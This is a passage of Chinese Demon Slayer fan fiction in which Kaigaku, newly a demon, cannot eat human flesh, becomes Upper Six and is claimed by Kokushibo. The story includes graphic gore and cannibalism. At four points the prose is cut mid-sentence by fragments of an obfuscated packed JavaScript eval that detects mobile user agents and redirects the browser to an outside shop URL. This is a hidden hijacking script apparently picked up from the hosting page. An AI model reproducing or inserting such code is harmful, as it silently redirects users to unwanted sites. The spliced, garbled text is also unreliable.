时间被跳过,缓过神来的时候,他已经作呕到了浑身痉挛的地步。 黑猫:…… 黑猫:啊,这。 看来,狯岳的身体,并没有说服他的大脑。 41.第四十一章 吃不下去。 男人不行,女人也不行。 甚至尝试咬了一口小孩子,在破皮的瞬间就后了悔。 明明闻起来很香,尝到之后的结果都一样。 反胃、呕吐。 ——不是吧? 狯岳掩住口鼻,手指扣进脸颊。 ——连当鬼,他都是个无法变强的瑕疵品吗? 河边堆满了他的各种尝试,能选的都排列组合过了,但一点用都没有。 他只好呆呆坐在尸块旁,直到天光乍破的前一瞬,被鸣女默默收回了无限城。 “无法,吃人?” 黑死牟困惑地歪了歪头。 这小鬼,是在说笑吗? 在他面前,态度还如此轻浮,未免太过失礼。 “对、对不起!”狯岳不敢看他的表情,“今天晚上,请再给我一次机会,我一定可以……” 黑死牟决定先探讨一下,为什么他昨天晚上不可以。 ——是因为牙齿不够尖锐吗? 他把玩着刚拔出来的、两颗尖尖的虎牙,得出结论,不是牙齿的问题。 ——是因为舌头尝不出味道吗? 应该也不是,他用手指扯动小鬼的舌头,并不尖锐的指甲粗暴地刮破小鬼的口腔。 从喉咙处切开,由食道到胃部,狯岳的内部空空如也。 所以,也不是因为他吃饱了撑得。 就是单纯地,吃不下去。 而狯岳一动不敢动,浑身僵硬的任他摆弄,被开膛破肚,肠子流了一地,也不敢有任何怨言。 “请您……不要生气,”小鬼卑微地请求,“我会继续努力……” 黑死牟用手指插进他的太阳穴,翻阅他的记忆,得出结论: “这似乎,不是努力,就可以解决的事情。” 这世上,居然会有吃不进人的鬼—— 实在令鬼匪夷所思。 “可能是因为,小狯岳自始至终,都没有失去理智的缘故吧,精神上的压力太大了。” 童磨歪了歪头,竖起一根手指。 “黑死牟殿,试着把小狯岳砍到失去意识,凭本能行动,怎么样?” 黑死牟:“已经……试过了。” “咦,没用吗?” 黑死牟颔首。 理论上来说,转化中的鬼,都会缺乏能量到失去理智,为了食欲大杀特杀,直到饱腹为止。 但是狯岳不一样,他即便缺乏能量,也能保持清醒,硬生生熬过了特别需要填饱肚子的阶段。 所以发现这一点的鸣女才会惊奇地向他汇报,所以黑死牟才确信狯岳一定会转化成功,提前把他带入了无限城。 同样,理论上来说,重伤的鬼,也会缺乏能量到失去理智,为了食欲大杀特杀,直到饱腹为止。 但是狯岳不一样。 “重伤之后……他失去意识,身体选择变小,陷入深眠……而不是,凭借本能,寻找食物。” 童磨看着黑死牟怀里,小小一只正在昏睡的狯岳,一拳锤向掌心: “原来如此。” 他弯下腰,凑过去看狯岳,就见这孩子脸上泛着不自然的红晕,一副心神不宁的模样。 “正在发热。鬼是不会生病的吧?是中毒了吗?” “无惨大人,说没有。” “那就是对无惨大人的血过敏了?” “……可能。” “变鬼的时候没过敏,吃人的时候却过敏了?” “也许。” “真是个有趣的孩子。那么,现在用稀血来实验一下吧。” 作为极乐教的教主,童磨总有许许多多各种各样的储备粮。 他直起身,拍了拍手,让教徒唤来一名女性稀血,并在女人的尖叫声中,毫不犹豫地割开了她的手腕,放到狯岳嘴边。 “哦哦,喝进去了!”童磨看着狯岳的喉头蠕动,又从女人身上切了一块肉塞过去,“看来,小狯岳是个挑食的孩子——” 话音未落,呛咳声响起。 本该被勾起食欲的狯岳,因为稀血入喉,多了些力气,又挣扎着把肉块吐了出来,难受地掉起了眼泪。 黑死牟:^=_=^。 只能把狯岳扶起来,拍着他的背,让他咳的轻松一点儿。 童磨摸了摸下巴:“奇怪。” “什么?” “小狯岳,本能地抗拒吃人吔,一点味道都受不了。” “……嗯。” “可他在变鬼之后,也没吃过人。” 黑死牟的手微微一顿。 “那么,他为什么会知道,那是人肉的味道呢?” 狯岳:^=_=^。 狯岳:他怎么知道! 大约上辈子是鬼,吃过人,所以把那股恶心的味道刻入灵魂了吧。 ……大概。 他万万没有想到,好不容易决定要吃人,却栽在这样的不良反应上。 事情总是在意想不到的地方出了差错,比如他学不会一之型,比如他吃不了人。 前者令人生气,后者嘛…… 在鬼的地盘,不能多想。 ——反正不是他的错。 所以,他理直气壮地挺起腰杆。 不是他故意要违背黑死牟大人的意愿,是身体擅自拒绝了人肉而已。 这是天生的,是命运的安排,不以人的意志为转移。 好在喝血不会像吃肉那样,引起强烈的不良反应,于是他变成了西洋小说中吸血鬼一样的存在。 就算是吸血鬼,好歹也是鬼。 对此,鬼舞辻无惨不太高兴,却也只能默许他的特殊。 “某种意义来说,也算是克服了必须吃人肉才能存活的弱点。”他用嫌弃的语气总结,“除此之外,那小鬼还有什么能耐?” 黑死牟的语气带着一丝满意:“他练出了,血鬼术。” “这倒稀奇,”鬼舞辻无惨总算抽空看了一眼狯岳的大脑,没发现什么不敬之处,“他变成鬼,有一星期吗?” “没有。” “还算有天赋。能力是什么?” “一种,漆黑的雷霆,可以持续麻痹、碎裂对手,并产生……足够烧坏人脑的,高热。” “看起来,他已经成长到了值得被你引荐给我的地步了呢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270882|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “正是如此。” 都怪鬼杀队,蟑螂一样纠缠不放,前赴后继地给他们制造麻烦,害的上弦四五六位置空缺,需要找新人填补。 不过,狯岳变鬼才这么些天,血肉化刀会了血鬼术也会了,在一群矮子里已经足够鹤立鸡群,或许配得上上弦这个位置。 “既然这样,”鬼舞辻无惨决定看马戏表演放松一下神经,“开启换位血战吧。” 所有志在竞争十二鬼月地位的恶鬼们被召集起来,允许他们向黑死牟举荐的新人狯岳,发起车轮战。 “虽然你们不过是一群没用的渣滓,但用来磨砺原石,也算物尽其用。”鬼舞辻无惨宣布。“好话说在前头—— “在擂台上站到最后的人,将成为新的十二鬼月。” 闻言,恶鬼们骚乱了一阵,纷纷把不怀好意的目光投向了狯岳。 “看上去不是很特别。” “如果他是原石,我们也不一定非得是渣滓。” “那个小鬼又不是上弦一大人本人,只不过是他推荐的人而已,说不定能赢。” “只要能站到最后,只要能站到最后……” 结果不出所料。 站到最后的,当然是狯岳,而不是什么不知名的路人甲。 作为雷之呼吸的使用者,他本人如同一道雷霆,飞速击败各种对手,犹如砍瓜切菜,毫不费力。 当他用出血肉化刀之后,原本反对他的鬼就少了一半。 当他用出血鬼术之后,原本反对他的另一半也选择了保持沉默。 “铮”—— 悠扬一声。 换位血战结果已出,还活着的恶鬼纷纷被鸣女送了回去。 “无聊。”对鬼舞辻无惨来说,眼前的一切都是小鬼过家家。“狯岳,上前。” 狯岳收起利爪收起刀,恭恭敬敬在他面前低下头。 等他抬起头,那双碧翠的眼睛里,已经被刻上“上弦六”三个字。 “恭喜呀,小狯岳!”上弦二童磨第一个表示欢迎,声音自高处传来,“从现在开始,你就是上弦六啦!” 狯岳:“……” 狯岳:“您哪位?” “真让人伤心,你不记得我了吗?”童磨从高台跳下,和他勾肩搭背,“你享用的稀血,可是一直由我上贡的哦。” 狯岳:…… 狯岳:哦。 但上贡的是稀血,又不是他本人,狯岳能记得他才怪——不,是认都不认识。 是个自来熟的、说话奇奇怪怪的轻浮家伙。 狯岳如此判断。 另一边,上弦三猗窝座摩拳擦掌: “来打一架吧!”他上下打量着狯岳,“刚才那样,根本看不出你的深浅,我看你也没有完全发挥出自己的实力。我想见识一下,上弦一看中的人,到底是什么样的成色。” 狯岳:^=_=^。 狯岳:其实并不是很想完全发挥。 是个不分敌我强弱战斗狂。 狯岳继续判断。 当他们几个站在一块,冲着他你一言我一语,视线就被完全遮挡…… ——高了不起啊喂! 42.第四十二章 高,确实了不起。 尤其当高他起码三十公分的童磨把手叉在他的腋下,将他举到空中的时候。 “猗窝座殿,别着急嘛。小狯岳还是个小孩子哦,唔……大概,十岁?十一岁?” 狯岳:哈啊?! 猗窝座冷哼一声:“怎么可能。” 狯岳:就是! “明明应该有十四岁了。” 狯岳:“……” 狯岳:“我踏马十七、不、十八岁了!” 闻言,童磨歪了歪头:“哦哦,原来如此,”他顿住了,疑惑地看向猗窝座,“有差别吗?” 猗窝座难得愿意理他:“没差别吧。” 狯岳再次:“……” 这些活太久的老鬼,对一般人身高的误会也太大了吧! 童磨&猗窝座:身高不是重点啦,年龄才是。小孩子就是小孩子。 “哎呀,都一样,差不多。反正小狯岳年纪最小。”童磨笑眯眯地说。“好啦,好啦,有前辈在,不要害怕,不要难过。” “我——我哪里害怕了?!我也不难过!”狯岳气急败坏,“童磨大人,请放开我!” “不要。”童磨干脆给了他一个拥抱,把他的脑袋按进怀里。“明明一副强颜欢笑的样子,还是不要勉强自己比较好哦。” 狯岳:“???” 上弦二才是,眼神一片空洞,表情假的要死,居然还好意思说他! “你其实,不想变成鬼吧?”童磨还在继续,一下一下拍着他的背,“但没办法,碰到了黑死牟殿,就只有认命啦。” 话音落下,别说狯岳了,连猗窝座都本能地后退几步,拉开距离——这家伙居然敢拿黑死牟说事! 非要找死的话,血别溅他身上,谢谢。 “你——你不要乱说!” 狯岳结结巴巴地反驳。 突然讲这种话,他是在挑衅黑死牟大人吗? 童磨是上弦二,上弦二应该打不过上弦一吧? “咦,难道不是上弦缺位,黑死牟殿特意去鬼杀队找好苗子,才把你带回来的吗?”童磨以极快的速度贴近,把手指插进狯岳的太阳穴,“让我看看让我看看……” 再一次,狯岳的脑海被搅乱,那些好好坏坏的记忆,被一页页翻开。 清冷的月华,飘零的桃花,破败的山寺…… “住手!”狯岳大怒,“放开我!” 黑色的雷霆从他身上腾起,麻痹了童磨的神经;尖锐的刀刃从他掌心冒出,割断了童磨的手指。 脱开禁锢的第一件事,就是离童磨远一点。 他全身绷紧,极度警戒,生怕上弦二原地暴走,自己会像面对黑死牟那样毫无还手之力。 但童磨不仅没有暴走,眼泪还“唰”得一下,掉了下来。 狯岳:“……” 狯岳:“???” 这家伙在搞什么鬼?! 童磨竟然掩口道:“真可怜。” 断掉的手指也在瞬间长回,这点伤势对上弦来说,就像挠痒痒一样。 更诡异的,是他的神态。 干扁,麻木,无机质,眼底毫无感情,像协调不足的人偶一样,令人毛骨悚然。 “可怜个鬼!”狯岳咬牙,“我才不可怜,我很幸运,所以遇到了黑死牟大人——” “真可怜,你是不被爱的孩子呢。”童磨继续微笑着掉眼泪。“父母不爱你。他们抛下你擅自消失了。行冥老师不爱你。他不需要一个手脚不干净还出卖他的坏孩子。前鸣柱不爱你。他只是个不断送弟子喂鬼的培育师。” 话音落下,狯岳:“……” 这家伙脑子是不是有病? 绝对有病吧,绝对! “这种事,不用你来说。”他拧起眉毛。“我才不管他们怎么想。” “唉,真的吗?”童磨歪了歪头,“那你又是为什么,要那么努力去完成他们的期待呢?” “……” “这么廉价的勾玉,为什么不卖掉?也是能值几个钱的吧。”童磨笑眯眯地指着狯岳的脖子。“寺庙的生活很辛苦吧,整天吃不饱,却还是拼命帮忙干活,直到因为偷钱被赶出去为止。明明那些钱里也有你应得的酬劳。” ……不是这样的。 这个人在说什么玩意啊。 狯岳后退一步,握住脖子上的勾玉,从嘴巴里挤出几句虚弱的回应。 比如“不关你的事”。 比如“那又怎样”。 “如果不是为了获得前鸣柱的认可,你没必要那么努力训练吧?”童磨非要把他的小心思掰扯清楚。“只要学会点本事,在鬼杀队混混日子,也能获得不错的生活。” “……别开玩笑了,我是为了我自己!”狯岳打断他的话,“只要从他身上学到本事,那种老头怎样都无所谓——” “那你为什么那么在意你的师弟,我妻善逸?” “……” 如果真的觉得无所谓的话,狯岳才不会在意我妻善逸,才不会在意一之型。 作为鬼杀队的剑士,他已经足够强悍。 成为柱的要求是斩杀五十只鬼,或者某只十二鬼月,而不是学会一之型。 他根本没必要去在意只会一之型的我妻善逸,只要顺着目标一直前行就行。 可是,可是。 他为什么…… 就是不会,一之型呢? “……只是,只是因为,那废物太吵了。”狯岳听见自己语无伦次的回答,“那老头子是个老糊涂,非要把我和那废物相提并论……是他亏欠我……” 童磨:这不还是想要证明给前鸣柱看吗。 他轻笑一声:“只差一步,你就能成为鸣柱,证明给所有人看,你才是对的。” 他顿了顿: “在这种时候功亏一篑,你真的,不恨黑死牟殿吗?” 话音落下,黑死牟出现在狯岳身后,一手挥剑,另一只手,搭在了狯岳的肩膀上。 而童磨的脑袋,飞了出去。 仿佛发现孩子被诱拐的家长,一边给坏人教训,一边把孩子捞到自己怀里,置于自己的控制范围内。 但狯岳不是小孩子。 黑死牟也不是家长。 对狯岳来说,黑死牟才是更可怕的那一个。 于是,在感受到黑死牟存在感的下一刻,他无法控制地全身发颤,抖如筛糠。 “哎呀,黑死牟殿!”身首分离的童磨仍在笑。“小狯岳怎样想,我是无所谓啦。但是但是,太过自欺欺人的话,在醒过来的时候,剑会变慢的哦。” ——他、他没有! 狯岳想这么说,但黑死牟的手从肩膀上移动,换到脖子的位置,摩挲他的喉头。 “……多事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289230|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他听见黑死牟这样回应童磨。 “这可是出于关心啊,黑死牟殿。小狯岳像猫一样呢。猫这样自我的生物,可是很难养熟的。” “不是……猫。” “那是什么?” “是……老虎。” 童磨的身体终于摸索着找到脑袋,往怀里一抱,疑惑地问: “有差别吗?” 猗窝座竟然还在,没走,幸灾乐祸地应声道:“没差别吧。” 对黑死牟来说,狯岳是猫还是老虎,都一样。 在上弦二和上弦三意味不明的目光中,上弦一吩咐道: “鸣女。” 于是琵琶声响,黑死牟带着狯岳,消失在了原地。 童磨眨了眨眼睛:“走掉了。哎呀,黑死牟殿这么急着帮小狯岳庆祝换位血战大成功吗?” 猗窝座:是急着教训才对吧! “我还以为,小狯岳会和我们一起开庆祝会呢,说不定黑死牟殿也能一起,所以特意让教徒准备了稀血。虽然主人公走了,但稀血可不能浪费。猗窝座殿,不如我们一起……” “滚。” 实际上,猗窝座猜测的不太对。 黑死牟确实对狯岳的表现不太高兴,但这份不快,还没有严重到需要用教训来让孩子记住的地步。 他只是保持着刚才的姿势,继续从背后把手伸过来,把玩着狯岳颈间的勾玉: “为何……要为童磨的话,动摇?” 冷汗直冒的狯岳:“……” “不!我没有动摇,我只是——” 然而,黑死牟的手指够到他的下巴,让他不要再狡辩下去。 “不必……把他的话,放在心上。” 说着,黑死牟握住他的下颌,迫使他的头向后仰,好教自己居高临下地看着他的眼睛: “不许……对我,说谎。” 狯岳经由他的血液转化成鬼,他知晓这孩子的一切,这孩子也应当对他毫无保留才对。 “除了,无惨大人,你无需,忌惮任何人。”黑死牟告诉他,另一只手放在他的头顶,轻轻摸了摸,“明白?” 狯岳:…… 啊,这。 他察觉到黑死牟温和的态度,鬼使神差地问:“任何人,包括您自己吗?” 黑死牟:“……” 他于是把掌握成拳,在狯岳的脑壳上不轻不重地敲了敲。 ——没有生气。 太好了! 才为自己的轻率感到后悔的狯岳心情一松,腿就软了下去,然后因为黑死牟的禁锢,一不小心靠在了他身上。 “对、对不起,”这一次,狯岳的道歉不像以往那样诚惶诚恐,“我失礼了。” “……没关系。”黑死牟又摸了摸狯岳的头,微微躬身,把他抱起来,让他坐在自己的手臂上。“换位血战,做的不错。” 狯岳:…… 狯岳:………… 这是什么姿势,为什么要抱,以为他累了吗?为什么要坐手臂,虽然他们之间的身高差导致这么坐也没什么违和的地方,但怎么搞的跟他还是个小孩子一样? 他下意识把手放在黑死牟的肩膀上,近距离贴近那只长着六只眼睛的脑袋,可以闻到发丝间奇异的香气,脑袋里一片浆糊。 只条件反射,从牙缝中挤出来几个字: “谢、谢谢。” 43.第四十三章 ……被称赞了。 换位血战时遇见的那些鬼,全都是些不值一提的渣滓,赢过他们是理所当然,狯岳自己都不觉得自己值得称赞。 但这位眼光理应比他更高的黑死牟大人,称赞他了。 为什么? 像童磨那样,把他当成小孩子了吗? 可是黑死牟怎么会和童磨一样发生这种误会? 他可不是什么小孩子,不久前还是专职斩鬼的剑士。黑死牟确认了他的实力,才同意把他变成鬼。 况且,对鬼来说,小孩子还是大人,有什么区别? 到底,只要是那个时间,去那个地点巡逻的队士,稍微有点实力,都会被黑死牟招揽的吧。 他只是黑死牟一时兴起,捡回来填补上弦位置的人而已。一旦有人比他更强,一定会被毫不犹豫地替换掉。 胡思乱想间,黑死牟的一缕头发掉到了他手边,他下意识抓在手里,缠绕在指尖。 “……别想。”黑死牟的声音在耳边响起。“不用去想。” 他的思路被打断,本能地立刻回答:“是!” 但越不让自己去想,就越忍不住去想,他只好盯着面前黑死牟的脑袋,一根根数他的眼睫毛。 看习惯之后觉得,六只眼睛,也没有一开始那么可怕。 自然界有六只眼睛的生物是蜘蛛,不过,黑死牟不会让人联想起蜘蛛,只会是别的更强大的东西。 强大会令人心生畏惧,这样一来,六只眼睛,也没什么不好……跟着这么强大的黑死牟大人,自己也一定会变得更加强大,所以没关系。 但一个细小的声音提醒他: 就算如此,你还是学不会一之型。 狯岳:…… 狯岳:唯有这个,是真的忍不住去想。 他小心翼翼地观察黑死牟的神色,但这一次,黑死牟没有让他住脑: “为什么……这么执着于一之型?” 话音落下,狯岳低下头:“……只有作为基础的一之型学不会,一般人都不会甘心吧。” “不,一般人,做不到,就会放弃。” “可是,我不想放弃。” 他有雷之呼吸的天赋,他用得出二至六型。 可为什么,拿一之型一点办法都没有? 如果这一型实在很难也就罢了,为什么连我妻善逸这个废物都能学会,他却学不会? 这让他无论如何都不能接受。 老师说过,学不会一之型也没关系。 但他不觉得没关系。 学不会一之型,他就不能独立完整运用雷之呼吸,他就永远要和看不上的人绑在一起。 他想要成为独一无二存在,他想要赢过所有人。 ……对,就是这样。 哪怕没有我妻善逸,他也必须学会一之型才行—— 他本以为黑死牟会说出和老师一样劝慰的话,但他听到的是: “那就,别放弃。” 狯岳猛地抬起头,傻乎乎地看着黑死牟。 “想做……就去做。”黑死牟又摸了摸他的脑袋,“只要活下去,总有一天……能做到。” 只要还活着,就还有机会。 更何况,作为鬼活下去,就有了比人更多的时间,更多的机会…… 变成鬼,是有好处的。 这是恩赐,不是坏事。 “不要,想太多。”黑死牟的声音烙进他的脑海,“你只需要……不断向前。” 只要听话就好了。只要变强就好了。 别的一切都不重要。 包括脖颈上那枚戴了许久的勾玉。 包括那惶恐不安竭力挣扎的自我。 “另外,”黑死牟捧着他的脸,“还是……蓝色,适合你。” 回过神来,金黄的勾玉被取下,换上了深蓝的勾玉。那深蓝的勾玉,不是一枚,而是好几枚,叮叮当当挂在胸口、袖口。 黑死牟拿走了他的过去,给了他从未料想过的,别样的未来。 ——他允许他不放弃一之型。 但是其他的东西,还是不要再抱幻想比较好。 “……不是,”过了好半天,浑浑噩噩的狯岳如梦初醒,“那、那是重要的遗物,和颜色适不适合什么的,根本没关系吧?!” 但要他去找黑死牟要回来? 别吧,他不敢。 那位大人可是说过要他“磨灭过去”、“摈弃枷锁”的话,用脚趾头想都知道,他最好别给脸不要脸。 “小狯岳,你在吗?”童磨的声音隔着障子门传来,“我来找你玩,你开开门好吗?” 狯岳:…… 狯岳:“黑死牟大人,让我别跟你说话。” 他也不想和童磨说话,这家伙讲话太吓人了。 “因为我之前说的话?但那也是小狯岳的心声吧?” “不是!” “黑死牟大人会伤心吧,小狯岳会对他心生怨恨这种事情。” “都说了不是——” 但下一刻,童磨自己推门进来:“哟。” 哟你个头啊哟。 狯岳如临大敌:“童磨大人,你想干什么?” “都说了,来找你玩啊。” 是来玩他的吧喂! 童磨:哎嘿。 “黑死牟殿不在呢。”他左顾右盼,拍了拍胸口,“太好了,如果他在的话,我可不敢来,哈哈哈。” 哈你个头啊哈。 “黑死牟大人很快就会回来。”狯岳试图吓退童磨。“所以你最好……” “哇,动作好快。”童磨根本没在听。“你身上的勾玉,已经不是你的东西了呢。” 狯岳:“……” 狯岳:“黑死牟大人给我的,就是我的东西。” “还是黄颜色的勾玉适合你。” “我觉得蓝色更好。” “是黑死牟殿觉得蓝色更好吧。” “那又怎样?” “小狯岳,已经完全是黑死牟殿的模样了吔。” “……是吗。” “是的,姿态很相似。” “……因为被纠正过。” “黑死牟殿,为什么会愿意招揽你呢?”童磨歪了歪头,“我很想知道。” 狯岳:那你应该去问他。 “雷之呼吸的剑士是很少见,你这种程度的实力剑士却不少见。啊,但是你这种实力,又愿意变成鬼的人,数量的确不多就是了。实在很想知道,能被黑死牟殿选择的标准是什么。” 狯岳:^=_=^。 这家伙,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293152|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特意来羞辱他的吗喂! “难道还因为,你长得很可爱吗?”童磨凑近看他的脸,伸手去摸:“的确很可爱,脸好小,脸上的纹路……是在模仿黑死牟殿的眼睛吗?” 正在后仰躲避童磨的狯岳愣了一下:“我不知道……可能?” 于是童磨的手还是落到了狯岳的脸上:“哇啊,会老老实实回答问题这一点,也很可爱!” ……好奇怪。 这个家伙,明明一点也不觉得他可爱才对,眉毛都没动一下。 “童磨大人,”狯岳困惑地问,“可爱什么的,你真的有这种感觉吗?” 童磨的手顿住了:“为什么这么问?” “……因为你看起来,不像觉得高兴的样子。” 话音落下,童磨不笑了。 狯岳感到一阵恶寒:“……那个,童磨大人?” 童磨叹了一口气:“真是个实心眼的孩子,居然一点铺垫都没有,就这么说出来了呢。” “……呃,这是秘密吗?”可你也没有在藏啊喂。 “所以我才想搞懂,黑死牟殿在想什么嘛。” “哈啊?” “小狯岳,我也是个可怜人呢。”童磨不知从哪里掏出了手绢,擦拭眼角:“虽然活在这个世界上,却不像一般人那样,可以感觉到喜怒哀乐。” “……是吗?” “是的。我总想着,只要或者,总有一天,我会感受到那些丰富而美丽的感情,所以热衷于观察其他人的感情——你愿意让我观察你的感情吗?” “……那当然是不愿意。” “噫,拒绝的好干脆。你不怕我吗?” “有黑死牟大人在,我不需要怕你。” “可如果我现在就把你杀掉,黑死牟大人固然会生气,但你死了就是死了。” “……那也是没办法的事情。” “咦,你不是很怕死吗?” “……毕竟,我应该打不过你。” “那你不挣扎一下吗?” 狯岳恍然大悟。 上弦二,就是来看他挣扎的吧。 不过,对他来说,多见识一下强者的能力,也没什么不好。 作为上弦二,童磨的各种能力仅次于上弦一,还拥有奇奇怪怪的血鬼术。 某种意义来说,这家伙,比黑死牟烦得多。 面对黑死牟,只需要承担剑术上的压力。 面对童磨,还需要承担精神上的折磨。 “有意思,”童磨戳着被打成重伤,不得已缩水自保的狯岳,“你身上……有种和黑死牟殿相似的感觉。” “怎么可能,”再生到了极限,狯岳开始头晕脑胀,“我哪能和那位大人相提并论。” “真的啦,我是最接近他的人,我的判断不会错。”童磨兴致勃勃地提议:“小狯岳,不如你喝点稀血恢复一下,我们再来一场?” “……你不会是打不过黑死牟大人,才来打我找场子的吧?” “怎么会,我是关心你们,所以才——” 话音未落,童磨的脑袋,再次平滑地掉了下来。 月光倾洒的方向,巨大的压迫感几乎产生了实体,感受到压力的狯岳吐出一口血,连带因冰封而碎裂的内脏一起。 黑死牟,回来了。 44.第四十四章 显而易见。 黑死牟大人,生气了。 “童磨。”他一字一句念出上弦二的名字。“你在,做什么?” 说着,他单膝跪下,把裹在破烂衣装中满身血痕的、看上去只有四、五岁狯岳抱了起来,按在怀里。 “如你所见,”童磨眨了眨眼睛,“在测试小狯岳的……唔,能力?器量?” “结果,如何?” “超出了预计的可爱呢。” “可,爱?” “是,看起来一副很聪明的样子,实际上傻乎乎的,不会掩饰自己,直来直往。”童磨眯起眼睛。“原本以为是个心胸狭隘的小家伙,但实际上,不过是为了保护自己,在虚张声势而已。即使被这么对待,也只想要远远躲开,报复心并不强呢。” 狯岳:“……” 狯岳:“我报复心很强的!只、只是,现在打不过你而已!”他抓着黑死牟的袖子,把下巴搁在他的手臂上,冲着童磨龇牙。“等以后,我一定会……” “宰了我吗?讨厌啦,你又做不到。”童磨打断他的话。“如果堕姬还活着,你和她的相性一定很不错。是吧,黑死牟殿?对了,如果哪天,你对小狯岳失去了兴趣,请务必把他让给我——” 话音未落,童磨连脑袋都被月华切成两半。 不愿再听他絮絮叨叨,黑死牟直接让鸣女把他从自己的地盘扔了出去。 见童磨终于消失了,狯岳松了一口气,想从黑死牟身上下去,试着推了推黑死牟的胳膊,但完全推不动。 “黑死牟大人?”他试探性地问,“周围被童磨大人搞得乱七八糟,是否需要我来打扫一番?” 黑死牟没有反应,只抱着他离开一片狼藉的房间。 琵琶的声音又响。 大约有其他鬼,专门负责清理房间吧……大概。 狯岳忐忑地坐着在黑死牟怀里,一边胡思乱想,一边乖乖任由他修长的手指插入发间,一点点梳理那沾过脑浆沾过灰,沾过汗水沾过血的头发。 ——然后整个人被丢进了温泉里。 溅起的水花遮住了他的视线。 “有,童磨的味道。” 水花落下,黑死牟坐在岸边,把手浸入泉水,略带嫌弃地说: “洗干净。” 那你还摸! 狯岳腹诽着,一头扎进温泉,任由泉水没过头顶。 等他从水面探出头,就见黑死牟继续用嫌弃的眼神,看着从袖袋中飘出来、浮在水面的、童磨的眼珠。 “他把这个,送给你了?” “……啊,嗯。”狯岳挠脸,“我说过不要的,可是。” 那毕竟童磨。 童磨是会听人话的鬼吗? 当然不是啊。 黑死牟果断把眼珠捏碎: “下一次,直接丢掉。” “……是。” “过来。” “是……唉?” 黑死牟竟然亲手把他捞起来,用又厚又大的毛巾整个裹住,又一次抱进怀里。 好丢脸! “黑死牟大人!”狯岳浑身僵硬,脸都红了,“我不是真的小孩子!” 但黑死牟说:“你可以是。” 狯岳:…… 狯岳:??? 不是,他到底是不是小孩子,他自己还不知道吗? 什么叫做可以是,可以怎样,不可以怎样? 狯岳搞不清楚他在想什么,犹豫着问:“大人,你……还在生气吗?” 黑死牟没有回答。 那就是“还在生气”。 “对不起,是我太弱了。”狯岳决定放弃顺着黑死牟的思路走,主动揣测他生气的理由,“我一定会变强,然后……” 但黑死牟的神情毫无变化,于是他接下来“宰了童磨”的话也说不出口。 何况,这时候,谁宰谁还说不定呢。 一旦发动换位血战,被吃掉的一定是他。 “然后就是,稀血,”狯岳决定换个话题,“只要补充一点稀血,我就可以恢复原状……” 黑死牟却说:“丢掉了。” 狯岳眨了眨眼睛:“哈啊?” “那是,童磨送来的。” “……” 那可是稀血! 如果不是童磨有极乐教,很难找的好么。 黑死牟:“不许用。” 狯岳:^=_=^。 你才是上弦一,你说了算。 如果以后不能喝童磨送来的稀血的话,他就只有自己出去狩猎了。 由于无法通过人肉补充能量,他大约会花很多时间在寻找猎物身上。他可没有准确寻觅稀血的能力,只能靠大量普通血液凑数了…… 但黑死牟说:“不必。” 接着,他割破手掌,递到狯岳面前。 鬼血在掌心积成小小的水洼,散发出诱人的香气。 狯岳:^=口=^。 他震惊地看了黑死牟一眼,犹豫片刻,把脸凑了上去,像猫一样伸出舌尖,轻轻舔舐。 就像他们初见面时那样,一滴都没有浪费。 这可是上弦一的血,比稀血还要珍贵,足以让他饱腹。 就是,“黑死牟大人,这样没关系吗?” 黑死牟摇了摇头。 “以后……离童磨远点。” “……可是,这次是童磨大人自己找上门来。” “那就,不要离开我身边。” “……” 这就有点抽象了。 什么叫做不要离开黑死牟的身边,多远不算身边? 恢复原状的狯岳在心底嘀咕,接着毛巾动了起来,这位大人,呃,在帮他擦头发? 连悲鸣屿行冥都没为孩子们做过这种事情,他为什么要做到这一步? ……不是,为什么连衣服也要帮忙穿? 狯岳无语地看着黑死牟亲手帮他把衣服的纽扣扣到了最上面那一颗。 他不是那种规规矩矩的乖孩子,他总喜欢把衣服的领口扯开,一来运动起来会很热,二来领口紧会影响拉扯的动作,三来被揪住衣襟会勒到脖子…… 总之他能说出无数的好处。 但黑死牟,喜欢乖孩子。 “衣冠要正。”他说。“不许……乱来。” “……是。” “胸口……是要害,不要,随便露出来。” 可鬼的胸口应该不是要害吧? “你是,我的继子。”黑死牟六只眼睛一起盯着他,“要,自觉。” 狯岳头点到一半,顿住了: “继、继子?!” “不愿意?” “不,不是,”比高兴更多的是惶恐,“我很荣幸。” 狯岳有种轻飘飘的感觉。 上弦之鬼的继子吗……虽然黑死牟大人会呼吸法,却也是他完全没有设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 